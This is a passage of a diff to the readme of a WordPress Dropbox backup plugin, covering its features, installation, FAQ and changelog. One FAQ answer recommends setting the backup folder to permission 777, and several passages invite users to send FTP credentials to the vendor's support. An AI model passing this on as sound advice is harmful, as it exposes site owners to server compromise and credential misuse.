* Supports backup on "Low Memory" Hosting or Server;
|
38 |
+
* Possibility to make Dropbox backup and restore interface hidden with all listed backups (only Admins can access the backup plugin page);
|
39 |
+
* Automatic database optimization before backup;
|
40 |
+
* Database or Table repair functionality before backup (coming soon);
|
41 |
+
* Administrate ALL of Backups for ALL of your sites from one place – WPAdm-account (Account is FREE);
|
42 |
+
|
43 |
+
**Account creation is optional, but we suggest to do this.<br /> Why create [www.wpadm.com](http://www.wpadm.com/) account?**<br />
|
44 |
+
Your website can be down, not available or admin back-end can be without response. There are many reasons for this, for example:<br />
|
45 |
+
|
46 |
+
* Some plugin or some theme (template) has an error;
|
47 |
+
* Plugin or theme (template) was installed incorrectly (wrong installation of WordPress plugins and WordPress themes);
|
48 |
+
* Vulnerabilities of user files, WordPress files, WordPress plugin- and theme- files;
|
49 |
+
* Websites Hacking (web page hacks), Websites Trojans etc.;
|
50 |
+
* Server or hosting misconfiguration. For example: files and folder rights, like "owner" rights, "read", "write" and "execution" rights;
|
51 |
+
* Web Server or web hosting misconfiguration, like wrong Apache or nginx configuration, mod_rewrite rules (rewriting rules) configuration;<br />
|
52 |
+
etc.
|
53 |
+
|
54 |
+
You can create your WPAdm account also for **central Backup administration** at http://www.wpadm.com <br />
|
55 |
+
WPAdm account is FULLY FREE.<br /><br />
|
56 |
+
|
57 |
+
**PLEASE, READ CAREFULLY!** <br />
|
58 |
+
**If you like our plugin - please, make your own [review](https://wordpress.org/support/view/plugin-reviews/dropbox-backup). It will help us to develop and update website backup and website restore plugin for you!**<br />
|
59 |
+
**This is one of few WordPress backup plugins, who does a fully free support (plugin support!) for all of our users.<br />
|
60 |
+
Dropbox backup and restore plugin ask for FTP if your website (not this plugin!) have some troubles, in order that we could make support for you.<br />
|
61 |
+
Providing of these FTP DATA IS NOT OBLIGATORY, but if you do this, - our support staff will check your backup process and you will receive a feedback about results.<br />
|
62 |
+
It can take a while and some patience from you.<br /><br />
|
63 |
+
We are not responsible for any 5хх-errors! Such errors caused in most cases (99,9%) by your server/hosting.<br />
|
64 |
+
For a little fee, we can help you solve problems of your server or hosting (to do this, we will need your FTP website access).<br />
|
65 |
+
Thank you for your understanding!**
|
66 |
+
|
67 |
+
|
68 |
+
**ALL INFORMATION, PROVIDED BY OUR USERS IS IN SAFETY AND USED FOR SUPPORT ONLY!**
|
69 |
|
70 |
If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
|
71 |
+
<br />
|
72 |
+
|
73 |
+
If your website has basic authorisation (basic_auth), it can call some exclusions during backup executing. We are working on this issue.
|
74 |
+
|
75 |
|
76 |
== Installation ==
|
77 |
|
78 |
+
### Perform a new installation using FTP
|
79 |
+
1. Upload the plugin folder `Dropbox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
|
80 |
2. Activate the plugin through the `Plugins` menu in WordPress
|
81 |
|
82 |
|
83 |
+
### Perform a new manual installation of Dropbox backup and restore plugin
|
84 |
|
85 |
+
After downloading the ZIP file of the Dropbox back up and restoration plugin,
|
86 |
+
|
87 |
+
1. Log in to your administrator panel;<br />
|
88 |
+
2. Go to Plugins Add > New > Click the button "Upload";<br />
|
89 |
+
3. Click on "Choose file" (or "Browse", to browse the plugin zip-archive) and select the downloaded zip file of the Dropbox back up and restoration plugin;<br />
|
90 |
+
*For Mac Users*<br />
|
91 |
+
*Go to your Downloads folder and locate the folder with the name "dropbox backup". Right-click on this folder and select Compress. Now you have a newly created .zip file which can be installed as described here.*<br />
|
92 |
+
4. Click on "Install Now" button. Dropbox back up and restore pugin will be installed;<br />
|
93 |
+
5. Click on link "Activate Plugin" to activate the "Dropbox backup and restore" plugin;<br />
|
94 |
+
<br />
|
95 |
+
*If the installation does not succeed, please contact http://www.wpadm.com support staff or refer to your system administrator.*<br />
|
96 |
+
|
97 |
+
|
98 |
+
Dropbox Backup Plugin have a settings section on WordPress plugin page.
|
99 |
+
If you need help with the plugin or you want to report a bug, so please, also refer to http://www.wpadm.com/support/
|
100 |
|
101 |
== Other ==
|
102 |
|
103 |
+
= Very easy and secure Dropbox Backup and Restoration (website / web page restore from backup) =
|
104 |
+
|
105 |
Usefull additional functions can be found at www.wpadm.com in the User profile.
|
106 |
+
DropBox Backup is a new plugin, so we tried to provide a bug-free plugin/widget. We are maintain this project.
|
107 |
|
108 |
Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
|
109 |
our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
|
110 |
This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
|
111 |
+
WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
|
112 |
+
|
113 |
+
|
114 |
+
|
115 |
+
= Website Backup on Dropbox =
|
116 |
+
|
117 |
+
For security of your sites, webs hops or online portals is backup a must. With backup from www.webpage-backup.com you can secure backup and restore all your projects independent if it website or woocommerce shop as to make restoring from your backups. From security reasons it is impotent to schedule your backups, thereby your information or comments from your databases no go lost. Of course the more important for the security are (frequently) backups for woocommerce shops or multisite backups and there one click to restores from your backup drive. The woocommerce backups need more storage in cloud due to large files.<br />
|
118 |
+
But in most cases it isn't needed to make full backup. With help of our service webpage-backup.com you can select the folder or special databases that you must backup or to backup single website inside your hosting. But for our service it does not matter if the files are large or small, in case of the restoration it is the same. As well as for your local backup. Local backup are done on your hosting. If your hosting have enough space for backup it is ok, but it is not recommended. In most cases for storage your full backup on space of your hosting it is not enough space otherwise it is not safe enough, especially if something happen with your hosting or after some time you want to change your hosting provider. Additional if your make automate schedule backups or data base backups ever after some time the space on your backup drive will be full. For this reason the best is to use the Dropbox storage. Dropbox storage is scalable. Of course the scheduler dropbox backup it is not a must. You can make it manually and for free, but it easy to forget and the danger to lose your backup data are big. You must not to upload your dropbox backup on your PC or desktop you can directly restoring your website from dropbox drive. Independently of our service it is possible to downloading, uploading the data from the dropbox account. By dropbox backup with www.webpage-backup.com you can make exclusions of folders or by restoring import archives or whole bundle of archives. By dropbox backup or wep page cloning or migration of the sites it is important that all folders have permissions to write it is the same how permission to access the folder or to uploading it. For backup on dropbox it is does not matter if your site have ssl certificate or it is normal woocommerce shop without SSL certificate the same goes for migrating or for website clone. For our service www.webpage-backup.com it is important that our servise have permissions to the folders and to backup drive.
|
119 |
+
|
120 |
+
= Special functions =
|
121 |
+
|
122 |
+
To the special functions of our website backup doesn’t belong the migration, scheduler backup, cron backup, wpmu backup, shop backup and encryption by cloning, if you make some clone of your website or multisite clone. It is all normal functions of our plugin or service at our website www.webpage-backup.com. The most of this tools are free of charge, especially if you do it manually. But inside our multisite tools are other addons and functions. Addons for your pages or multisite (WPMU) peges you can add inside of your service account if you want. But for some of this function it is required to register on www.webpage-backup.com. For manage of multisites or just for one page menaging, for cron and scheduled dropbox backup as for full restoration of you WooCommerce shop, website or multisite as well as for migration - to register it is must. It is not possible to do full restoration of website from dropbox backup without the WordPress site self.
|
123 |
+
|
124 |
+
= Easy backup =
|
125 |
+
|
126 |
+
By draw up of our dropbox backup tools we try to do the backup or restoring ever for not experts and multisites owners, but with the same tools how for experts. For experts we have Buckup explorer where the expert can select or to do exclusion of files and webpages. As the register user you can use multiple dropbox account or create other multisite buckup drive clouds, how FTP or you can do the local backup on the site of your host. All automatically functions are inside of our service. To automatically tools belong: cron and scheduler, migrator and remote. Scheduled jobs for dropbox you can set in our calendar, it gives overview.
|
127 |
+
|
128 |
+
= Back Up, Cloning, duplicate or migrate of websites =
|
129 |
+
|
130 |
+
Cloning, duplicate or migrate in principal all the function a same. It gives you the possibility quickly to create site clone with as “templates” for multiple site. This clone tool is very useful, if you have more than one website or, if you want to clone or duplicate your web page. With full backup of your old site or WooCommerce shop you can clone or duplicate, and create new clone (due back up) of webshop or website with one click. All multisite backups functions are available from one dashboard of cloning tool, how multisite backup, as well as WPMU backup in the same cloud or in several cloud storages of hosting provider or just server. From same dashboard available clone restorations functions separate or in bundle, depend of your multisite backup settings. If your do so much settings you can remove not needed settings or clone of backup. The settings must be removed separately ever for multisite or clone. The backup dropbox storages must be removed separately too. Although it seems complicated to do automatic backup. With our backup plugin for backup, clone or migrate - you can make it without expert knowledge. Clone add-ons allow your easy backup or migrate your website or WPMU (multisite). "Dropbox backup" is just ultimate tool for WordPress that can worst your productivity by cloning of web pages, allowing you to do efficiently manage of cloned pages through clone or multisite installations.
|
131 |
+
|
132 |
+
= Easy data restoring =
|
133 |
+
|
134 |
+
For restoring your website (or multisite websites) selected files from the dashboard and then select files to restore. In backup list you see the type, date and size. From the list you can remove and select appropriate restoring file. In settings your can add or remove the cloud storage. In case of cloning you must restore your old website backup on other webpage. Cloning is the same how resorting but in more steps. The same bee meant for migrating of multisite and shops and there restore. With our file explorer you can match every file separately for restoration. In case of restoration only this files will be restore. You can restore one file than the next, but it easy to make restoring in bundle or directly to recover whole full backup. The restoration time depend from your hosting and upload rate as well as restoration depend from the file size witch must be restore. Scheduled restoring and recovering isn’t possible, unless somebody have special inquiry on our service to do scheduled recovering. The recover from the Dropbox cloud storage take time, depend from the web site size and right permissions of the folders of your hosting provider.
|
135 |
+
|
136 |
+
= What to do if recovering failed? =
|
137 |
+
|
138 |
+
First of all check the data spelling. It is most common mistake. Other common mistakes by recovering are:
|
139 |
+
|
140 |
+
* to recover from wrong cloud storage;
|
141 |
+
* if done alone database back up – not full and you can't see the recover sites;
|
142 |
+
* by recovering process there was internet connection interrupted;
|
143 |
+
* In your database are file exclusions;
|
144 |
+
* your database back up was not consistent;
|
145 |
+
* file archive of back up with a broken checksum;
|
146 |
+
* back up or restore from damaged cloud storage or from damaged back up archive;
|
147 |
+
* misspelled back up due user failed restore;
|
148 |
+
|
149 |
+
Large file and big size databases need more time to back up or recover website. It can take until two hours or more, depend from the size of your back up database, but for our recovery service it doesn’t matter for uploading of large files or small files. The difference between recover the large files and small is the time. <br />
|
150 |
+
After check all of this figures please write an email to our support team http://www.webpage-backup.com and we will try to answer as soon as possible and to give you’re the best solution how easy to recover your site.
|
151 |
+
|
152 |
+
If you see some of 5xx error codes, as return of your backup:<br />
|
153 |
+
please, feel free to contact your own system administrator (admins, support etc.), because this type of errors come from your server.<br />
|
154 |
+
|
155 |
+
**The timely backup protects from viruses.**
|
156 |
+
|
157 |
+
There are some requirements for creating a reliable backup:<br />
|
158 |
+
• Make copies of your files regularly and as often as you can;<br />
|
159 |
+
• Rank your data by importance and back up essential information first. Generally, temporary files only add up to the back up volume and carry no significance, so get rid of them;<br />
|
160 |
+
• Do not store your file copies on the same hard drives;<br />
|
161 |
+
• Make sure you can access your backups any time and from any place;<br />
|
162 |
+
• Schedule your backups and ensure you get informed on their status;<br />
|
163 |
+
• If your medium capacity or bandwidth is limited use compression tools;<br />
|
164 |
+
A good solution is to have a separate server for remote backups although it is not fail-safe. If the server is unavailable restoration will be impossible. To ensure high accessibility and data safety use cloud storage services.<br />
|
165 |
+
There are a lot of services providing free but limited cloud storage capacity for backups like Google Drive, Amazon S3 (AWS) or Dropbox. The problem is they do not support FTP protocol which sometimes is the most adequate way of data transfer. In comparison, virtually every host company supports this protocol.
|
166 |
+
|
167 |
+
|
168 |
+
|
169 |
+
== Frequently Asked Questions ==
|
170 |
+
|
171 |
+
= Where can I get my app key & secret? =
|
172 |
+
|
173 |
+
You can get an API app key and secret by creating an app on the <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank">app creation page</a>.
|
174 |
+
Once you have an app created, the app key and secret will be available on the app's page on the <a href="https://www.dropbox.com/developers/apps" target="_blank">App Console</a>.
|
175 |
+
Note that Drop-ins have app keys but no app secrets.
|
176 |
+
|
177 |
+
= I clicked on the "Backup to Dropbox" button, but nothing happens. What's wrong? =
|
178 |
+
|
179 |
+
Before you try to make a backup of your website to dropbox, please make sure, that you have created the connection to dropbox. Also you must be sure, that you are connected to dropbox.<br />
|
180 |
+
To do this, please, open the "Settings" block in your "Dropbox backup and restore" plugin. There you must see your Dropbox UID (User ID on Dropbox). If you didn't see your Dropbox connection App UID - your Dropbox plugin is NOT CONNECTED to your Dropbox and you can't do the backup of your website.<br />
|
181 |
+
So please, at first connect yourself to Dropbox and then, try to make your backup to dropbox.
|
182 |
+
|
183 |
+
= How to restore my site from dropbox backup? =
|
184 |
+
|
185 |
+
- First of all, install the Dropbox backup & restore plugin;<br />
|
186 |
+
- In Dropbox backup & restore plugin check your connection to dropbox as "dropbox app" or as connection with using of app key & app secret from your dropbox account;
|
187 |
+
|
188 |
+
|
189 |
+
= My web page completely crashed and not available. How can I restore my web page from dropbox backup? =
|
190 |
+
|
191 |
+
Just login or Register at WPAdm www.wpadm.com If your web page wasn't added and verified - just do it. Add your domain and verified this on WPAdm account.
|
192 |
+
|
193 |
+
You must see all of your backups, that you have made.
|
194 |
+
|
195 |
+
= Should I upgrade my old version of Dropbox Backup and Restore plugin? =
|
196 |
+
|
197 |
+
Yes. We recommended to update or upgrade to a newest versions.
|
198 |
+
|
199 |
+
= How can I manage my backups? =
|
200 |
+
|
201 |
+
Manage of multiple back ups is possible from your account on webpage-backup.com
|
202 |
+
|
203 |
+
= I use multisite WordPress and I would like to manage my backups from one place. How can I do that? =
|
204 |
+
|
205 |
+
Multisite WP can be supported too, but you have to login in your account at www.webpage-backup.com
|
206 |
+
|
207 |
+
= Can I use the Dropbox Backup and Restore plugin to clone my website? =
|
208 |
+
|
209 |
+
Yes. If you have some back up, created with our Dropbox Backup and Restore plugin, then you can use it for migration or doing some clone to another place (server / web hosting).
|
210 |
+
|
211 |
+
= I didn't see my back up at my Dropbox. Why? How can I find it at my Dropbox? =
|
212 |
+
|
213 |
+
Simple check your app key and app secret, that you use it from a correct app do you created before you start make a backup.
|
214 |
+
|
215 |
+
= Is it possible to migrate my website with your Dropbox back up tool? =
|
216 |
+
|
217 |
+
Many people stay us this question and our answer is - YES! It's good possibility to use our back up plugin specially for migration of websites. Also you can migrate your website locally. If you does a local backup, then you can download it to your PC, upload to another place and make recovery there.
|
218 |
+
|
219 |
+
= How to do a recovery of my website? =
|
220 |
+
|
221 |
+
Dropbox Backup and Restore plugin work autonomously. In case, if your page (website) not available, you may use www.webpage-backup.com to recover website from backup on dropbox.
|
222 |
+
|
223 |
+
= I want schedule backup. How can I schedule backup of my website? =
|
224 |
+
|
225 |
+
To schedule backup of your webpage (website backup), you may use an account at www.webpage-backup.com to schedule backup.
|
226 |
+
|
227 |
+
= Can I make a schedule backup of my multisite WordPress? =
|
228 |
+
|
229 |
+
Please, see the previous question "I want schedule backup. How can I schedule backup of my website?".
|
230 |
+
Generally - YES, you can create a scheduled backup, but you may sign in to account at www.webpage-backup.com to make a scheduled backup.
|
231 |
+
|
232 |
+
= Should I register to make a back up of my site? =
|
233 |
+
|
234 |
+
Our plugin for back up is completely autonomous plugin for back up, so you don't need to register to make a back up of your site.
|
235 |
+
|
236 |
+
= How can I manually restore my website from one place to another? =
|
237 |
+
|
238 |
+
You can restore your website on another place with two ways:<br />
|
239 |
+
* manually website restoration<br />
|
240 |
+
* automatically website restoration<br />
|
241 |
+
|
242 |
+
For automatically website restoration you may need an account at webpage-backup.com
|
243 |
+
|
244 |
+
= Is it possible to duplicate my website like Duplicator Plugin do that? =
|
245 |
+
|
246 |
+
Backups & Restoring plugin can Duplicate more simply as Duplicator.<br />
|
247 |
+
If you want to duplicate your website, you may backup it first at some storage (for example Dropbox or Amazon, or just on your FTP). You can start duplicate website if the backup process was finished successfully. If isn't - don't try to duplicate, because wrong or incorrect backup can crash your website during duplicating.
|
248 |
+
|
249 |
+
= Duplicate and clone is the same thing? =
|
250 |
+
|
251 |
+
It has distinction in each of the duplicate and clone plugins. In both cases, as with duplicate and also with clone, this is in fact a website copy.
|
252 |
+
|
253 |
+
= How can I manage or coordinate my duplicate website? =
|
254 |
+
|
255 |
+
To managing your duplicate website you need to have an account at webpage-backup.com. So, you will see all of target (original) and source (duplicate) websites. At your account on webpage-backup.com you have a possibility to make one duplicate from another duplicate website, that was duplicated before.
|
256 |
+
|
257 |
+
= What does make your "duplicate" plugin, which doesn't make another (e.g. Duplicator plugin)? =
|
258 |
+
|
259 |
+
Duplicating is a very complex process. We will explain the website duplicate in the next our explanations about "duplicate website".
|
260 |
+
|
261 |
+
= Is it possible to make an Incremental Backup with Dropbox Backup & Restore plugin? =
|
262 |
+
|
263 |
+
Incremental backup expect many of our users. Incremental backup can help solve many problems for the implementation of the backup in complex systems. Create an incremental backup, that's what we're working. In the next versions it will be also possible to create incremental backups for websites.<br /><br />
|
264 |
+
(PS: Autor german language)<br />
|
265 |
+
Inkrementelle Sicherung (Incremental backup) erwarten viele unser Nutzer. Inkrementelle Sicherung (Incremental backup) kann helfen viele Probleme für die Durchführung der Sicherung in komplexen Systemen zu lösen. Erstellung eines inkrementelles Backup, das ist, was wir eben noch planen zu implementieren in der Dropbox Backup & Restore Plugin. In den Zukünftigen Versionen wird es auch möglich, inkrementelle Backups zu erstellen.<br /><br />
|
266 |
+
|
267 |
+
We must understand that when you use incremental backups perform operations such as website clone (clons creating), multisite clone, migrate of websites or website duplicate will be difficult, but possible.
|
268 |
+
|
269 |
+
= Just to do a MySQL backup. How to do that? =
|
270 |
+
|
271 |
+
In this version of plugin supported a MySQL backup (database backup or simple "db backup") together with a filesystem backup. To do a mysql backup, you can do it with a file system or just use another version of our plugin.<br />
|
272 |
+
The version for mysql backup (DB Backup) is available due control panel at http://www.webpage-backup.com
|
273 |
+
|
274 |
+
= We want to make an SCP Backup from our rackspace (Full Rackspace Backup). For this operation we would like to use your Dropbox plugin. =
|
275 |
+
|
276 |
+
Ok, if you want to use an SCP Backup, please, wait for some versions of this plugin over their, and we will make an scp backup for you.
|
277 |
+
|
278 |
+
= FTP Backup? =
|
279 |
+
|
280 |
+
The name of this plugin is "Dropbox" Backup and Restore. From control panel at http://www.webpage-backup.com you can do also an FTP Backup. Please, checkout an FTP Backup so.
|
281 |
+
|
282 |
+
= Is dropbox backup and restoration plugin really free? =
|
283 |
+
|
284 |
+
Yes, dropbox backup and dropbox restoration are free with plugin "Dropbox Backup and Restore"!
|
285 |
+
|
286 |
+
= Whether I need to create an account on the wpadm.com? =
|
287 |
+
|
288 |
+
You shouldn't create an account on the www.wpadm.com, but you are able to do it since further it can really help you at restoration time of your site. For example, if your website is completely down and not available.
|
289 |
+
|
290 |
+
= Whether there are WordPress templates of my web site in a full backup archive? =
|
291 |
+
|
292 |
+
Full backup include templates of your site.
|
293 |
+
|
294 |
+
= I try to create a dropbox backup. I enter the app key and app secret. Then I was asked for permission to access dropbox, so I hit "allow" and then I'm given an "Internal server error".<br /> What is causing this and how might I fix it? =
|
295 |
+
|
296 |
+
Please, just wait for some time and try again later.<br />
|
297 |
+
We know this issue about "Internal Server Error" on Dropbox, that comes from the Dropbox servers. Best thing to do is be patient and give it another try.
|
298 |
+
We cannot recommended you more, than just had to wait it out and problem went away after a while.
|
299 |
+
|
300 |
+
= I want to move my website to the new hosting/server. How can I do this? =
|
301 |
+
|
302 |
+
Sure, it is possible to use this Dropbox Backup & Restore plugin, but we suggest to try [cloner](https://wordpress.org/plugins/duplicator-clone/). With it you can much easily clone, migrate or easy duplicate your website from one hosting or server to another.
|
303 |
+
|
304 |
+
= My website has a very BIG files, like photos, videos and so on. If I do my backup to dropbox it's return this message "Maximum execution time of XXX seconds exceeded" and sometimes some other messages while uploading to dropbox. I've tried to do my backups with some of known WordPress plugins like "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" but it's all without success. Can you please advise me after all these failures, why I have to trust in "Dropbox Backup & Restore" plugin? =
|
305 |
+
|
306 |
+
OK, this is a complex question, but we'll try to answer this by comparing of "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" with "Dropbox backup & restore" plugin.<br />
|
307 |
+
All of this backup plugins like "Dropbox backup & restore", "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox" or "BackUpWordPress" has functionality not only for a backup, but also for restoration (restore or restoring process for website). There are a lot of parameters which are required to be compared.
|
308 |
+
|
309 |
+
= Why I cannot create local back up? =
|
310 |
+
There are many reasons for failed local back up. For example, you may to sure, that you have enough free space on you hard drive (hosting contingent, with other words: you have a free space) for new back up. Also you may to sure, that you permission for script running, file or folder creation are not limited.<br />
|
311 |
+
You've corrected these problems and still can't make a local back up - please, contact www.webpage-backup.com support.
|
312 |
+
|
313 |
+
= Hi, I made a Local Backup and it created 23 zip files, 1 MD5 file and 1 SQL file. How I can validate that this backup ended correctly? =
|
314 |
+
At the end of successfully created backup you will receive a results message like "success" or "error" and the .MD5 file will be created. The .md5 file is a checksum for your created backup.
|
315 |
+
|
316 |
+
= I was using your free version of Dropbox Backup without problem. I just paid for the Pro version and downloaded the files to my computer. What do I do now to activate the Pro version on my WP site and automate dropbox backups? =
|
317 |
+
The PRO version of plugin was activated during of payment process, so if you already downloaded the PRO version – it's already activated. Just install the plugin.
|
318 |
+
To automate backup to Dropbox (scheduled backup to Dropbox), please look at settings block of an installed PRO plugin.
|
319 |
+
|
320 |
+
= Can do back up get this message Dropbox Backup wasn't created. Website "XXXXXXXX" returned an error during file creation: Failed to create file, please check the permissions on the folder "/web1/user/website/XXXXXXXX/wp-content/Dropbox_Backup". Please can you advise? =
|
321 |
+
Sure, the folder “Dropbox_Backup” with this path on you website hosting or website server "/web1/user/website/XXXXXXXX/wp-content/Dropbox_Backup" must be created, if this wasn’t created yet<br />
|
322 |
+
AND this folder must be also writable (For example within permission 777 on this folder).<br />
|
323 |
+
You can check this permissions using some FTP client like "WinSCP" or "FileZilla". You can google and download this software. This program is free of charge.<br />
|
324 |
+
If you have any difficulties, our support staff can do it for you, but in this way you'll need send FTP access credentials for your website to our support.
|
325 |
+
|
326 |
+
= I have tried several times to perform a Dropbox backup of my wordpress site. It says that is performs, but the backup counter shows 0 even after being refreshed. The Dropbox folder is showing no items in it. What am I missing to do? =
|
327 |
+
1. One of the possible thing you can try to do is the web browser cache refresh. Try to load you backup plugin page in WordPress without browser cache by clicking of buttons combination Ctrl+F5.<br />
|
328 |
+
|
329 |
+
= I've been trying to back up a site and I just noticed that it stopped progressing about an hour ago at this line: yyyy-mm-dd xx:xx:xx Add a table "wp_tablexxx" in the database dump. Any idea what happened? =
|
330 |
+
The Dropbox backup and restore plugin does an automatic database optimization before backup, <br />but if you have some broken table in database of your website,<br />
|
331 |
+
then you can try to repair the database before backup creation.<br />
|
332 |
+
|
333 |
+
= Hallo, ich habe eben versucht über Ihre Webseite ein Backup in meine Dropbox zum machen - es wurde aber nicht ausgeführt. Das Geld wurde aber von meinem Guthaben bereits abgebucht. Im Scheduler stand auch "WAITING" und dann "PERFORMED" aber die Dropbox ist noch leer. Bitte um Hilfe. =
|
334 |
+
|
335 |
+
Die Abbuchung erfolgt nicht, falls Ihr Backup ohne Erfolg abgeschlossen wurde.<br />
|
336 |
+
In diesem Fall handelt es sich um gelieferte vom Server des Website diese Antwort:<br /><br />
|
337 |
+
*504 Gateway Time-out*<br />
|
338 |
+
*The gateway did not receive a timely response from the upstream server or application.*<br /><br />
|
339 |
+
Dies ist eine interne Fehlermeldung auf Ihrem Server/Hosting, für den wir nicht verantworten können. <br />
|
340 |
+
Ist es möglich, dass Sie uns Ihr System Logs-Dateien zukommen lassen <br />
|
341 |
+
*oder*<br />
|
342 |
+
geben uns den FTP Zugriff von Ihrer Website, damit wir versuchen Ihnen zu helfen.<br />
|
343 |
+
|
344 |
+
= Makes me mad that I thought I was protected. Couldn't have went another way. I want create my website backup to dropbox. =
|
345 |
+
Your website is protected, if you have successfully created website backup.<br />
|
346 |
+
Just try to create website backup from you own admin area (from you own WordPress). Backup creating from your own website is fully free!<br />
|
347 |
+
|
348 |
+
= Seems to be missing something: PHP Extensions sockets, ftp Not Found Functionality are not guaranteed. =
|
349 |
+
Yes, to create backup successfully you'll need such PHP extensions like Sockets or Curl, otherwise we can't guaranteed functionality for Dropbox back up and restoration plugin.
|
350 |
+
|
351 |
+
= I've moved my website to the new hosting provider. Where can I find my PHP Extensions like sockets, ftp or curl to do a backup? Because the Dropbox plugin says me, that functionality for Dropbox back up and restoration plugin can't guaranteed... =
|
352 |
+
You can activate PHP Extensions on you cPanel or Plesk of provider hosting administration panel.
|
353 |
+
**If you use cPanel,** <br />
|
354 |
+
login in cPanel and scroll down to "Software and Services" or "Advanced" block and open "PHP configuration" or "PHP PEAR packages".<br />
|
355 |
+
Check on the corresponding checkboxes to your php extensions, that you want activate.<br />
|
356 |
+
Save the PHP configuration by clicking the button on bottom (in most cases on the bottom) of this page.<br />
|
357 |
+
**If you use Plesk dashboard or Plesk (Version 12) administration panel,** <br />
|
358 |
+
Login to Plesk and in main menu open "Tools & Settings" > "PHP Settings" > *any PHP 5.6 handler*<br />
|
359 |
+
Clear the checkbox, to have the PHP extension appear on the customers "phpinfo" pages, and click "OK". Wait for the changes in list with PHP extensions to be applied, then select the checkbox and apply the changes once again.<br />
|
360 |
+
|
361 |
+
= I want optimize my MySQL database before I do my backup. How can I do that? =
|
362 |
+
In the Website to Dropbox backup & restoration plugin you can find an appropriate option in the Settings block of the Dropbox plugin. The optimize database setting is per default activated and in use. If you hasn't changed this configuration, then every time, as you doing backup, the database will be optimized automatically.
|
363 |
+
|
364 |
+
= How much time it will take to create a backup of my website? =
|
365 |
+
There are many hardware and software dependences. Approximately the average time for website takes up to 360 seconds for 50 Mb website. There are many hardware and server/web hosting software dependencies to create a back up.
|
366 |
+
|
367 |
+
|
368 |
+
== Changelog ==
|
369 |
+
|
370 |
+
Please, keep your Dropbox Backup and Restore plugin up-to-date.
|
371 |
+
|
372 |
+
**Rev.** / **Description** <br />
|
373 |
+
|
374 |
+
@1332931 Bug fixes. Plugin Dropbox backup and restore revision added 1.4<br />
|
375 |
+
Dropbox backup & restore - add new version(1.4): another way to work with database, bug fixes.<br />
|
376 |
+
The time of back up creating.<br />
|
377 |
+
Database optimization before backup.<br />
|
378 |
+
Configuration of PHP extensions in Plesk panel.<br />
|
379 |
+
Dropbox backup and restore was successfully tested up to 4.4.1 WordPress version.<br />
|
380 |
+
Small text fix in description about activating of PHP extensions in cPanel for back up plugin.<br />
|
381 |
+
Use of FTP protocol to create backup.<br />
|
382 |
+
Solutions for storage back up.<br />
|
383 |
+
Use separate server for remote backups<br />
|
384 |
+
The list of requirements to backup website.<br />
|
385 |
+
Requirements for creating back up.<br />
|
386 |
+
Find and activate PHP Extensions for Dropbox website back up and restore.<br />
|
387 |
+
@1314341 Dropbox website backup and restoration answer explained.<br />
|
388 |
+
Website backup on "Low Memory" Hostings or Servers.<br />
|
389 |
+
Website backup to Dropbox naming corrected to "Website backup".<br />
|
390 |
+
Website backup to Dropbox syntax corrected and one tag "Website back up" added.<br />
|
391 |
+
Website backup to Dropbox FAQ.<br />
|
392 |
+
@1309174 Dropbox back up and restoration features list in plugin description changed.<br />
|
393 |
+
@1308460 Added new version 1.3.3.5 - update user interface.<br />
|
394 |
+
@1307504 PHP extensions to create back up and restoring for Dropbox back up and restoration.<br />
|
395 |
+
In FAQ carriage return corrected.<br />
|
396 |
+
Installation instructions for Dropbox back up and restoration plugin.<br />
|
397 |
+
Try to make a repairing before backup.<br />
|
398 |
+
Dropbox backup and restore question - "Stopped progressing about an hour ago".<br />
|
399 |
+
Dropbox backup and restore slug was changed in plugin header for language translation.<br />
|
400 |
+
Browser cache refresh in back up and restore plugin page under WordPress.<br />
|
401 |
+
@1296429 Carriage return in installation instructions.<br />
|
402 |
+
@1295049 Request about "what to do, if back up not working"<br />
|
403 |
+
@1294253 Revision lines was added to back up and restoration.<br />
|
404 |
+
@1293495 Answer in FAQ about folder permission.<br />
|
405 |
+
@1292981 Question about folder permission was added to FAQ.<br />
|
406 |
+
@1291392 Tags was added.<br />
|
407 |
+
@1290489 Switching from FREE to PRO plugin version.<br />
|
408 |
+
@1289603 Web Server basic_auth issue will be solved.<br />
|
409 |
+
@1288063 Installation instructions for users about Dropbox Back up and Restore plugin descripted.<br />
|
410 |
+
@1287201 New tags was added in plugin description.<br />
|
411 |
+
@1286120 Database repairing coming soon in description.<br />
|
412 |
+
@1285459 Database optimization in Dropbox back up and restoration.<br />
|
413 |
+
@1284056 update wpadm function for search key<br />
|
414 |
+
@1283439 Dropbox backup and restoration change log corrected.<br />
|
415 |
+
@1281224 Version 1.3.3.4; WPAdm method corrected, message to recovery Dropbox Back up and restoration<br />
|
416 |
+
@1279735 Version 1.3.3.3; Algorithm changed to create MySQL dump of Dropbox back up and restoration<br />
|
417 |
+
@1277537 Dropbox back up and restoration plugin description was changed.<br />
|
418 |
+
@1276653 Version 1.3.3.2; Performance improvement. Trying to avoid 5xx and 4xx system errors. Bug fixes. <br />
|
419 |
+
@1274884 Checkbox for admins was fixed <br />
|
420 |
+
@1274875 Fixed bug: checkbox to hide Dropbox backup and restore plugin from all users except admin <br />
|
421 |
+
@1273510 add new version 1.3.3 <br />
|
422 |
+
@1273409 add expsys template <br />
|
423 |
+
@1279408 Explanation in description of dropbox backup and restoration plugin was added.<br />
|
424 |
+
@1273303 added index files <br />
|
425 |
+
@1272797 Validate that dropbox backup was ended correctly. <br />
|
426 |
+
@1272337 example in a question for registration in dropbox back up and restore <br />
|
427 |
+
@1271819 added index to folder template <br />
|
428 |
+
@1271744 question with answer about failed local back up <br />
|
429 |
+
@1271154 "if exists" to database dump <br />
|
430 |
+
@1270137 styling of text for 5xx errors <br />
|
431 |
+
@1269473 js moved <br />
|
432 |
+
@1268234 small changes in faq <br />
|
433 |
+
@1267847 small changes in readme <br />
|
434 |
+
@1267005 syntax <br />
|
435 |
+
@1266928 update messages in dropbox backup and restore plugin<br />
|
436 |
+
@1266703 syntax WP<br />
|
